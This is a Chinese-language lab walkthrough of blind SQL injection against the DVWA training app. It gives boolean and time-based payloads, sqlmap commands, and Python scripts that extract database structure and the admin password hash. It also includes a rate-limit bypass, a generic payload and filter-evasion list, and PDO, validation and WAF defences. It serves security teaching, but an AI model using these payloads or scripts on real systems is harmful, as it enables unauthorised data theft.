目录
漏洞简介 什么是盲注(Blind SQL Injection)? 盲注是一种SQL注入攻击,应用程序不直接返回数据库查询结果或错误信息,攻击者必须通过应用程序的不同响应(如页面内容、HTTP状态码、响应时间)来推断数据库信息。
与普通SQL注入的区别:
特性
普通SQL注入
盲注
错误信息
直接显示
不显示
查询结果
直接返回
不返回
利用方式
UNION查询
布尔/时间盲注
攻击难度
较低
较高
攻击速度
快
慢(需逐字符猜测)
盲注的类型:
1. 布尔盲注(Boolean-based Blind SQL Injection) 通过True/False条件判断,观察页面响应的差异:
1 2 3 4 5 6 1 ' AND 1=1 -- → 返回True(页面正常) 1' AND 1 = 2 1 ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)=' a' --
判断依据:
页面内容不同(如”User exists”或”User not found”)
HTTP状态码不同
页面长度不同
2. 时间盲注(Time-based Blind SQL Injection) 通过数据库延时函数,观察响应时间:
1 2 3 4 5 6 1 ' AND SLEEP(5) -- → 延迟5秒 1' AND IF(1 = 1 , SLEEP(5 ), 0 ) 1 ' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)=' a', SLEEP(5), 0) --
判断依据:
危害:
获取数据库内容(用户名、密码等)
确定数据库类型和版本
枚举数据库结构
获取敏感配置信息
完全控制数据库
DVWA场景: 通过用户ID查询用户信息,应用只显示”User exists”或”User not found”。
Low 难度 攻击目标 完全未过滤,可进行布尔盲注和时间盲注。
后端代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php if ( isset ( $_GET [ 'Submit' ] ) ) { $id = $_GET [ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id ';" ; $result = mysql_query ( $query ) or die ( '<pre>' . mysql_error () . '</pre>' ); if ( mysql_num_rows ( $result ) > 0 ) { echo '<pre>User ID exists in the database.</pre>' ; } else { echo '<pre>User ID is MISSING from the database.</pre>' ; } mysql_close (); } ?>
HTML表单:
1 2 3 4 5 6 7 <form name ="form1" action ="#" method ="GET" > <p > User ID: <input type ="text" name ="id" size ="15" > <input type ="submit" name ="Submit" value ="Submit" > </p > </form >
漏洞分析 核心问题:
直接拼接SQL - 没有使用参数化查询
不显示具体数据 - 只返回存在/不存在
显示错误信息 - or die(mysql_error())暴露数据库信息
无输入验证 - 接受任意输入
数据流向:
1 2 3 4 5 6 7 用户输入($_GET['id' ]) ↓ 直接拼接到SQL ↓ 执行查询 ↓ 只返回True /False
攻击步骤 步骤1:测试SQL注入漏洞 测试1:基础测试
1 2 3 4 5 6 7 8 9 10 输入: 1 ' 结果: MySQL错误(说明有SQL注入) 输入: 1 ' AND '1 '='1 结果: User ID exists(True ) 输入: 1 ' AND '1 '='2 结果: User ID not found(False ) 结论:存在布尔盲注漏洞
步骤2:布尔盲注 - 确定数据库信息 测试数据库版本:
1 2 3 4 5 6 7 8 9 10 1 ' AND (SELECT SUBSTRING(@@version,1,1))>' 5 ' -- True → 版本>5 False → 版本<=5 -- 逐字符猜测版本号 1' AND (SELECT SUBSTRING (@@version ,1 ,1 ))= '5' 1 ' AND (SELECT SUBSTRING(@@version,3,1))=' 7 ' -- ...
测试数据库名称长度:
1 2 3 4 5 6 7 8 9 10 1 ' AND LENGTH(database())>5 -- -- 二分法确定长度 1' AND LENGTH(database())> 10 1 ' AND LENGTH(database())>5 -- → True 1' AND LENGTH(database())> 7 1 ' AND LENGTH(database())=6 -- → True 结论:数据库名长度为6
猜测数据库名(逐字符):
1 2 3 4 5 6 7 8 9 10 1 ' AND SUBSTRING(database(),1,1)=' a' -- → False 1' AND SUBSTRING (database(),1 ,1 )= 'b' ... 1 ' AND SUBSTRING(database(),1,1)=' d' -- → True -- 第二个字符 1' AND SUBSTRING (database(),2 ,1 )= 'v'
步骤3:枚举数据库表 获取表名数量:
1 2 1 ' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>1 --
获取第一个表名:
1 2 3 4 5 6 7 1 ' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=9 -- -- 第一个字符 1' AND SUBSTRING ((SELECT table_name FROM information_schema.tables WHERE table_schema= database() LIMIT 0 ,1 ),1 ,1 )= 'g'
步骤4:枚举表的列名 1 2 3 4 5 6 7 1 ' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name=' users' AND table_schema=database())>5 -- -- 第一个列名 1' AND SUBSTRING ((SELECT column_name FROM information_schema.columns WHERE table_name= 'users' LIMIT 0 ,1 ),1 ,1 )= 'u'
步骤5:提取数据 获取admin密码(逐字符):
1 2 3 4 5 6 7 8 9 10 1 ' AND LENGTH((SELECT password FROM users WHERE user=' admin'))=32 -- -- 第一个字符 1' AND SUBSTRING ((SELECT password FROM users WHERE user = 'admin' ),1 ,1 )= '5' 1 ' AND SUBSTRING((SELECT password FROM users WHERE user=' admin'),2,1)=' f' -- -- 继续...得到完整MD5哈希
步骤6:时间盲注(当布尔盲注不可用时) 测试时间盲注:
1 2 3 4 5 6 7 1 ' AND SLEEP(5) -- 结果:响应延迟5秒 -- 条件时间盲注 1' AND IF(1 = 1 , SLEEP(5 ), 0 ) 1 ' AND IF(1=2, SLEEP(5), 0) -- → 立即响应(False)
使用时间盲注提取数据:
1 2 3 4 5 6 7 1 ' AND IF(SUBSTRING(database(),1,1)=' d', SLEEP(5), 0) -- 响应慢 → True 响应快 → False -- 提取密码 1' AND IF(SUBSTRING ((SELECT password FROM users WHERE user = 'admin' ),1 ,1 )= '5' , SLEEP(5 ), 0 )
步骤7:使用SQLMap自动化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \ --cookie="security=low; PHPSESSID=your_session" \ --batch sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \ --cookie="security=low; PHPSESSID=your_session" \ --dbs sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \ --cookie="security=low; PHPSESSID=your_session" \ -D dvwa --tables sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \ --cookie="security=low; PHPSESSID=your_session" \ -D dvwa -T users --columns sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \ --cookie="security=low; PHPSESSID=your_session" \ -D dvwa -T users --dump
Medium 难度 攻击目标 使用了mysqli和简单过滤,但仍可进行盲注。
后端代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $id = $_POST [ 'id' ]; $id = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $id ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call!" , E_USER_ERROR)) ? "" : "" )); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id ;" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ); if ( $result && mysqli_num_rows ( $result ) == 1 ) { echo '<pre>User ID exists in the database.</pre>' ; } else { echo '<pre>User ID is MISSING from the database.</pre>' ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
HTML表单改为POST:
1 2 3 4 5 6 7 <form name ="form1" action ="#" method ="POST" > <p > User ID: <input type ="text" name ="id" size ="15" > <input type ="submit" name ="Submit" value ="Submit" > </p > </form >
新增防护
使用POST - 数据不在URL中
mysqli_real_escape_string() - 转义特殊字符
不显示错误 - 移除die(mysql_error())
统一错误信息 - 不透露失败原因
仍存在的漏洞 关键问题:
虽然使用了mysqli_real_escape_string(),但:
数字型注入 - 查询中user_id = $id没有引号!
1 2 SELECT * FROM users WHERE user_id = $id;
mysqli_real_escape_string()只转义引号 - 对数字型注入无效
1 2 3 4 输入: 1 OR 1 =1 mysqli_real_escape_string(): 1 OR 1 =1 (不变) SQL: SELECT * FROM users WHERE user_id = 1 OR 1 =1; 结果:注入成功!
绕过方法 方法1:数字型注入(最直接) 1 2 3 4 5 6 7 1 OR 1 = 1 → User exists (返回所有用户)1 AND 1 = 2 → User not found(False )1 AND (SELECT SUBSTRING (database(),1 ,1 ))= 'd' 1 AND LENGTH(database())= 4
方法2:时间盲注 1 2 3 4 5 6 1 AND SLEEP(5 )→ 响应延迟5 秒 1 AND IF((SELECT SUBSTRING (database(),1 ,1 ))= 'd' , SLEEP(5 ), 0 )
方法3:使用SQLMap 1 2 3 4 5 6 7 8 9 10 11 12 13 sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/" \ --data="id=1&Submit=Submit" \ --cookie="security=medium; PHPSESSID=your_session" \ --batch \ -p id sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/" \ --data="id=1&Submit=Submit" \ --cookie="security=medium; PHPSESSID=your_session" \ --technique=T \ -D dvwa -T users --dump
方法4:Python脚本自动化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsimport timeurl = "http://dvwa.local/vulnerabilities/sqli_blind/" cookies = { 'security' : 'medium' , 'PHPSESSID' : 'your_session' } def check_condition (condition ): """测试条件是否为True""" payload = f"1 AND {condition} " data = {'id' : payload, 'Submit' : 'Submit' } response = requests.post(url, data=data, cookies=cookies) return 'exists' in response.text def extract_string (query, length ): """提取字符串(布尔盲注)""" result = "" for i in range (1 , length + 1 ): for c in 'abcdefghijklmnopqrstuvwxyz0123456789_' : condition = f"(SELECT SUBSTRING(({query} ),{i} ,1))='{c} '" if check_condition(condition): result += c print (f"Found char {i} : {c} (current: {result} )" ) break return result for length in range (1 , 20 ): if check_condition(f"LENGTH(database())={length} " ): print (f"Database name length: {length} " ) break db_name = extract_string("database()" , length) print (f"Database name: {db_name} " )password = extract_string("SELECT password FROM users WHERE user='admin'" , 32 ) print (f"Admin password hash: {password} " )
High 难度 攻击目标 使用了LIMIT和Session,增加了复杂度,但仍可盲注。
后端代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php if ( isset ( $_COOKIE [ 'id' ] ) ) { $id = $_COOKIE [ 'id' ]; if ( !isset ( $_SESSION ['count' ] ) ) { $_SESSION ['count' ] = 0 ; } $_SESSION ['count' ]++; if ( $_SESSION ['count' ] > 3 ) { sleep (1 ); } $id = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $id ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call!" , E_USER_ERROR)) ? "" : "" )); $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id ' LIMIT 1;" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ); if ( $result && mysqli_num_rows ( $result ) == 1 ) { echo '<pre>User ID exists in the database.</pre>' ; } else { $_SESSION ['count' ] = 0 ; echo '<pre>User ID is MISSING from the database.</pre>' ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
HTML部分(JavaScript设置Cookie):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <form name ="form1" onsubmit ="return setCookie();" > <p > User ID: <input type ="text" name ="id" size ="15" > <input type ="submit" value ="Submit" > </p > </form > <script > function setCookie ( ) { var id = document .forms ["form1" ]["id" ].value ; document .cookie = "id=" + id + "; path=/" ; location.reload (); return false ; } </script >
新增防护
使用Cookie - 数据通过Cookie传递
Session计数 - 限制尝试次数
添加LIMIT - 限制查询结果
速率限制 - sleep()延迟
仍存在的漏洞 核心问题:
仍是字符串拼接 - 有单引号,但仍可注入
限流太弱 - 只延迟1秒,可以忍受
Session可重置 - 清除Cookie重新开始
LIMIT不防注入 - 可以用注释绕过
LIMIT绕过:
1 2 3 4 5 6 7 8 9 10 11 SELECT * FROM users WHERE user_id = '$id' LIMIT 1 ;$id = 1 ' -- 结果:SELECT * FROM users WHERE user_id = ' 1 ' --' LIMIT 1 ;简化:SELECT * FROM users WHERE user_id = '1' $id = 1 ' # 结果:SELECT * FROM users WHERE user_id = ' 1 ' #' LIMIT 1 ;
绕过方法 方法1:注释绕过LIMIT 1 2 3 4 5 6 1 ' AND 1=1 -- 1' AND (SELECT SUBSTRING (database(),1 ,1 ))= 'd' 1 ' AND 1=1 #
方法2:容忍速率限制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport timeurl = "http://dvwa.local/vulnerabilities/sqli_blind/" session = requests.Session() session.cookies.set ('security' , 'high' ) session.cookies.set ('PHPSESSID' , 'your_session' ) def check_condition (condition ): payload = f"1' AND {condition} --" session.cookies.set ('id' , payload) response = session.get(url) return 'exists' in response.text result = "" for i in range (1 , 5 ): for c in 'abcdefghijklmnopqrstuvwxyz' : if check_condition(f"(SELECT SUBSTRING(database(),{i} ,1))='{c} '" ): result += c print (f"Found: {result} " ) break time.sleep(1 )
方法3:使用多个Session绕过限流 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 sessions = [] for i in range (10 ): s = requests.Session() s.cookies.set ('security' , 'high' ) s.cookies.set ('PHPSESSID' , f'session_{i} ' ) sessions.append(s) current_session = 0 def check_with_rotation (condition ): global current_session session = sessions[current_session] if current_session % 3 == 0 : current_session = (current_session + 1 ) % len (sessions)
方法4:时间盲注(不受LIMIT影响) 1 2 3 4 5 6 1 ' AND SLEEP(5) -- 响应慢 → 注入成功 -- 提取数据 1' AND IF((SELECT SUBSTRING (database(),1 ,1 ))= 'd' , SLEEP(3 ), 0 )
Impossible 难度 攻击目标 使用PDO预编译语句,真正安全。
后端代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php if ( isset ( $_GET [ 'Submit' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $id = $_GET [ 'id' ]; if ( is_numeric ( $id ) ) { $data = $db ->prepare ( 'SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' ); $data ->bindParam ( ':id' , $id , PDO::PARAM_INT ); $data ->execute (); if ( $data ->rowCount () == 1 ) { $row = $data ->fetch (); echo '<pre>User ID exists in the database.</pre>' ; echo '<pre>First name: ' . $row [ 'first_name' ] . '</pre>' ; echo '<pre>Surname: ' . $row [ 'last_name' ] . '</pre>' ; } else { echo '<pre>User ID is MISSING from the database.</pre>' ; } } else { echo '<pre>Invalid input: must be numeric</pre>' ; } } generateSessionToken ();?>
完善的防护机制 多层防御:
CSRF Token - 防止跨站请求伪造
输入验证 - is_numeric()白名单
PDO预编译 - SQL结构和数据分离
参数类型绑定 - PDO::PARAM_INT
LIMIT限制 - 防止返回过多数据
PDO预编译工作原理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 传统拼接(不安全): $query = "SELECT * FROM users WHERE id = '$id '" ;↓ 攻击:$id = "1' OR '1'='1" ↓ 结果:SELECT * FROM users WHERE id = '1' OR '1' ='1' ↓ SQL注入成功! PDO预编译(安全): $stmt = $db ->prepare("SELECT * FROM users WHERE id = :id" );$stmt ->bindParam(':id' , $id , PDO::PARAM_INT);$stmt ->execute();↓ 攻击:$id = "1' OR '1'='1" ↓ PDO处理:将"1' OR '1'='1" 作为整数0 或拒绝(不是有效整数) ↓ SQL注入失败!
为什么无法攻破? 所有攻击都被阻止:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 攻击1 :1 ' OR ' 1 '=' 1 is_numeric () → False → 拒绝攻击2 :1 OR 1 =1 is_numeric () → False → 拒绝(包含空格)攻击3 :1 is_numeric () → True PDO → 安全执行结果:正常查询,无法注入 攻击4 :1 ; DROP TABLE users ; -- is_numeric () → False → 拒绝攻击5 :使用十六进制/Unicode 绕过 is_numeric () → False → 拒绝
关键防御点:
白名单验证 - 只接受数字
预编译语句 - SQL结构固定
参数绑定 - 类型强制转换
双重保护 - 验证 + PDO
防御建议 代码层面 1. 使用PDO预编译(最佳方案) 1 2 3 4 5 6 7 8 $stmt = $pdo ->prepare ('SELECT * FROM users WHERE id = :id' );$stmt ->bindParam (':id' , $id , PDO::PARAM_INT );$stmt ->execute ();$stmt = $pdo ->prepare ('SELECT * FROM users WHERE id = ?' );$stmt ->execute ([$id ]);
2. 输入验证和白名单 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if (!is_numeric ($id )) { die ('Invalid input' ); } $allowed = ['admin' , 'user' , 'guest' ];if (!in_array ($input , $allowed )) { die ('Invalid input' ); } if (!preg_match ('/^[a-zA-Z0-9_]+$/' , $input )) { die ('Invalid characters' ); }
3. 最小权限原则 1 2 3 4 5 6 7 8 9 $db_user = 'read_only_user' ; $db_pass = 'secure_password' ;GRANT SELECT ON database.* TO 'read_only_user' @'localhost' ;
4. 错误处理 1 2 3 4 5 6 7 8 9 10 try { $stmt ->execute (); } catch (PDOException $e ) { error_log ('Database error: ' . $e ->getMessage ()); die ('An error occurred' ); }
检测层面 1. WAF规则 1 2 3 4 5 6 7 SecRule ARGS "@detectSQLi " \ "id:1000,phase:2,block,msg:'SQL Injection Detected'" SecRule ARGS "@rx (union|select|insert|update|delete|drop|exec|script)" \ "id:1001,phase:2,block,msg:'SQL Keyword Detected'"
2. 监控异常查询 1 2 3 4 5 6 7 8 9 10 11 12 13 $start = microtime (true );$stmt ->execute ();$duration = microtime (true ) - $start ;if ($duration > 1.0 ) { logSecurityEvent ('Slow query detected' , [ 'duration' => $duration , 'ip' => $_SERVER ['REMOTE_ADDR' ], 'query' => $query ]); }
3. 限流和账户锁定 1 2 3 4 5 6 7 8 9 10 11 12 function checkAttempts ($ip ) { $attempts = getAttempts ($ip , 60 ); if ($attempts > 10 ) { lockIP ($ip , 300 ); die ('Too many attempts' ); } recordAttempt ($ip ); }
工具使用 SQLMap防御测试 1 2 3 4 5 6 7 sqlmap -u "http://your-site.com/page?id=1" \ --batch \ --level=5 \ --risk=3
代码审计工具 1 2 3 4 5 6 7 phpstan analyze src/ --level=8 sonar-scanner \ -Dsonar.projectKey=myproject \ -Dsonar.sources=src
总结对比
特性
Low
Medium
High
Impossible
查询方式
字符串拼接
mysqli_escape
mysqli_escape
PDO预编译
参数传递
GET
POST
Cookie
GET
输入验证
❌
❌
❌
✅ is_numeric
错误信息
✅ 显示
❌ 隐藏
❌ 隐藏
❌ 隐藏
限流
❌
❌
✅ 弱限流
✅ CSRF
LIMIT
❌
❌
✅ LIMIT 1
✅ LIMIT 1
攻击难度
极易
简单
中等
极难
布尔盲注
✅ 可行
✅ 可行
✅ 可行
❌ 不可行
时间盲注
✅ 可行
✅ 可行
✅ 可行
❌ 不可行
常用Payload集合 布尔盲注 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1 ' AND 1=1 -- → True 1' AND 1 = 2 1 ' AND LENGTH(database())>5 -- 1' AND SUBSTRING (database(),1 ,1 )= 'd' 1 ' AND ASCII(SUBSTRING(database(),1,1))>100 -- -- 表名枚举 1' AND (SELECT COUNT (* ) FROM information_schema.tables WHERE table_schema= database())> 5 1 ' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)=' u' -- -- 数据提取 1' AND SUBSTRING ((SELECT password FROM users WHERE user = 'admin' ),1 ,1 )= '5'
时间盲注 1 2 3 4 5 6 7 8 9 10 11 12 13 1 ' AND SLEEP(5) -- 1' AND IF(1 = 1 , SLEEP(5 ), 0 ) 1 ' AND IF((SELECT SUBSTRING(database(),1,1))=' d', SLEEP(5), 0) -- -- 基于BENCHMARK 1' AND BENCHMARK(5000000 , MD5('test' )) 1 ' AND pg_sleep(5) -- -- SQL Server 1' ; WAITFOR DELAY '00:00:05'
绕过技巧 1 2 3 4 5 6 7 8 9 10 11 1 ' AnD 1=1 -- 1' aNd 1 = 1 1 ' AND/**/1=1 -- 1' AND 1 = 1 1 ' AND 0x31=0x31 -- 1' AND CHAR (49 )= CHAR (49 )
实战建议 盲注攻击步骤:
确认注入点(测试True/False)
确定数据库类型和版本
枚举数据库名和表名
枚举列名
逐字符提取数据
破解密码哈希
自动化工具:
SQLMap - 全自动SQL注入工具
NoSQLMap - NoSQL盲注工具
Burp Suite - 手动测试和自动化
防御检查:
✅ 所有查询使用预编译
✅ 输入验证(白名单)
✅ 最小权限
✅ 限流机制
✅ 错误不泄露信息
✅ 定期安全审计
道德准则:
只在授权环境测试
不窃取真实数据
学习是为了构建安全系统